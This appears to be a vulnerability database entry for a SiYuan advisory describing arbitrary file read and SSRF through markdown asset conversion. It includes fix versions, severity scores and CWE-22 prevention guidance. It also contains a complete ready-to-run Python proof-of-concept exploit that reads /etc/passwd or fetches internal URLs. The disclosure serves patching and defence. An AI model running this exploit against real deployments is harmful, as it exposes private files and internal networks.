GHSA-cv54-7wv7-qxcw CVE-2026-23850 GO-2026-4347
SiYuan vulnerable to Arbitrary file Read / SSRF
- Severity
- 0.0 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 0.62%
- Chance of exploitation in the next 30 days. Higher than 49.72% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
- Fix
0.0.0-20260118092326-b2274baba2e1- Upgrade github.com/siyuan-note/siyuan/kernel to this version or later
Description
Summary
Markdown feature allows unrestricted server side html-rendering which allows arbitary file read (LFD) and fully SSRF access We in @0xL4ugh ( @abdoghazy2015, @xtromera, @A-z4ki, @ZeyadZonkorany and @KarimTantawey) During playing Null CTF 2025 that helps us solved a challenge with unintended way : )
Please note that we used the latest Version and deployed it via this dockerfile :
Dockerfile:
FROM b3log/siyuan
ENV TZ=America/New_York \
PUID=1000 \
PGID=1000 \
SIYUAN_ACCESS_AUTH_CODE=SuperSecretPassword
RUN mkdir -p /siyuan/workspace
COPY ./startup.sh /opt/siyuan/startup.sh
RUN chmod +x /opt/siyuan/startup.sh
EXPOSE 6806
ENTRYPOINT ["sh", "-c", "/opt/siyuan/startup.sh"]
startup.sh
#!/bin/sh
set -e
echo "nullctf{secret}" > "/flag_random.txt"
exec ./entrypoint.sh
docker-compose.yaml:
services:
main:
build: .
ports:
- 6806:6806
restart: unless-stopped
environment:
- TZ=America/New_York
- PUID=1000
- PGID=1000
container_name: archivists_whisper
Details
As you can see here : https://github.com/siyuan-note/siyuan/blob/v3.4.2/kernel/api/filetree.go#L799-L886
in createDocWithMd function
the markdown parameter is being passed to the model.CreateWithMarkdown without any sanitization
while here : https://github.com/siyuan-note/siyuan/blob/master/kernel/model/file.go#L1035 the input is being passed to luteEngine.Md2BlockDOM(md, false) without any sanitization too
PoC
Here is a full Python POC ready to run
import requests, sys, os
if len(sys.argv) >= 5 :
TARGET = sys.argv[1].rstrip("/")
PASSWORD = sys.argv[2]
attack_type = sys.argv[3]
if attack_type == "LFD":
file_path = f"file://{sys.argv[4]}"
elif attack_type == "SSRF":
file_path = f"{sys.argv[4]}"
else:
sys.exit(f"Usage : python3 {sys.argv[0]} http://target password LFD/SSRF filepath/link")
TARGET = "http://127.0.0.1:6806"
PASSWORD = "SuperSecretPassword" # Workgroup password
file_path = "/etc/passwd" # file to read
s = requests.Session()
def login():
s.post(f"{TARGET}/api/system/loginAuth", json={"authCode": PASSWORD, "rememberMe": True})
def list_notebooks():
res = s.post(f"{TARGET}/api/notebook/lsNotebooks").json()
notebooks = res["data"]["notebooks"]
if not notebooks:
raise RuntimeError("No notebooks found – create one in the UI first")
notebook = notebooks[0]["id"]
return notebook
def file_to_md(notebook, file_path):
doc_id = s.post(
f"{TARGET}/api/filetree/createDocWithMd",
json={
"notebook": notebook,
"path": "/pwn",
"markdown": f"[loot]({file_path})"
},
).json()["data"]
return doc_id
def convert_file_to_asset(doc_id):
res = s.post(f"{TARGET}/api/format/netAssets2LocalAssets", json={"id": doc_id})
# print(f"Debug : convert", res.text)
def get_new_file_name_from_assets(file_path):
res = s.post(f"{TARGET}/api/file/readDir", json={"path": "/data/assets"}).json()["data"]
if attack_type == "LFD":
new_file_name = f"network-asset-{os.path.splitext(os.path.basename(file_path))[0]}-"
else:
new_file_name = f"network-asset-{os.path.basename(file_path)}-"
# print(new_file_name)
for file in res:
# print(file["name"])
if new_file_name in file["name"]:
return file["name"]
def retrieve_file_content(file_name):
return s.get(f"{TARGET}/assets/{file_name}").text
login()
notebook = list_notebooks()
doc_id = file_to_md(notebook, file_path)
# print(f"Debug : Docid", doc_id)
convert_file_to_asset(doc_id)
file_name = get_new_file_name_from_assets(file_path)
file_content = retrieve_file_content(file_name)
if len(file_content) > 0 :
print("Content : ", file_content)
else:
print(f"Failed to get {file_name} try to get it manually, probably we failed to predict the new file name")
File read
<img width="928" height="333" alt="image" src="https://github.com/user-attachments/assets/8b6c81b9-106d-4d41-beaf-29ee3f6413cb" /> <img width="800" height="143" alt="image" src="https://github.com/user-attachments/assets/87a6fab8-d1a7-4690-b157-4c6250b67b8a" />
SSRF :
We spawned a python server at /tmp : 4444 and requested it the result is we could successfuly read a file from http://127.0.0.1/ghazy
<img width="822" height="63" alt="image" src="https://github.com/user-attachments/assets/9842aad2-1ade-45c0-9db1-fc049cf6b4cf" />
Impact
As shown above, we could sucessfully read any file in the system and reach any internal host via SSRF : )
Solution
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/siyuan-note/siyuan/kernel | < 0.0.0-20260118092326-b2274baba2e1 |
0.0.0-20260118092326-b2274baba2e1 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
github.com/siyuan-note/siyuan/kernel Go → 0.0.0-20260118092326-b2274baba2e1
- go
go get github.com/siyuan-note/siyuan/kernel@v0.0.0-20260118092326-b2274baba2e1 && go mod tidy
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- Low
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
- Exploit maturity
- Proof of concept
CVSS 3.1 7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Weakness
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
How to prevent it
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
- Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
- Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
- Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
- Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
References
Advisories
Packages
Other links
- github.com/siyuan-note/siyuan/security/advisories/GHSA-cv54-7wv7-qxcw
- github.com/siyuan-note/siyuan/issues/16860
- github.com/siyuan-note/siyuan/commit/b2274baba2e11c8cf8901b0c5c871e5b27f1f6dd
- github.com/siyuan-note/siyuan/commit/f8f4b517077b92c90c0d7b51ac11be1b34b273ad
- github.com/siyuan-note/siyuan/blob/master/kernel/model/file.go
- github.com/siyuan-note/siyuan/blob/v3.4.2/kernel/api/filetree.go
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-xp3q-r38w-vgqm SiYuan: The publish filter for local storage returns the administrator's entire storage map with only three keys sanitized | Medium | Also affects github.com/siyuan-note/siyuan/kernel |
| GHSA-9cqf-hhrq-7v45 SiYuan: getAttributeViewSearchTarget returns database row content to anonymous readers with no publish-access check, reopening the class closed one day earlier at the adjacent route | High | Also affects github.com/siyuan-note/siyuan/kernel |
| GHSA-57v5-wqx3-cgj4 SiYuan: Database view structure (all view names, layout types and per-field visibility) is returned to anonymous readers by /api/av/getAttributeViewFieldViews | Medium | Also affects github.com/siyuan-note/siyuan/kernel |
| GHSA-4wwp-f6gw-6qm5 SiYuan: TLS Private Keys Readable via getFile (Incomplete Blocklist) | High | Also affects github.com/siyuan-note/siyuan/kernel |
| GHSA-3cm4-ccvw-6xr6 SiYuan: /history/*path and /repo/diff/*path potentially exposing historical snapshots of data/.siyuan/publishAccess.json and data/templates/* | Medium | Also affects github.com/siyuan-note/siyuan/kernel |
| GHSA-x8gv-g2g3-65fj SiYuan Agent Tools SSRF via DNS-Rebinding TOCTOU (Bypass of CheckHostSSRF) | High | Also affects github.com/siyuan-note/siyuan/kernel |
| GHSA-p23f-cm6q-2qp8 SiYuan MCP asset.upload Reads Arbitrary Absolute File Paths (Workspace Boundary Bypass) | Medium | Also affects github.com/siyuan-note/siyuan/kernel |
| GHSA-rpx2-p6hp-x5gj SiYuan: Missing consistency check between packageName and repoURL/repoHash in bazaar package install allows overwriting an existing, trusted plugin | Medium | Also affects github.com/siyuan-note/siyuan/kernel |
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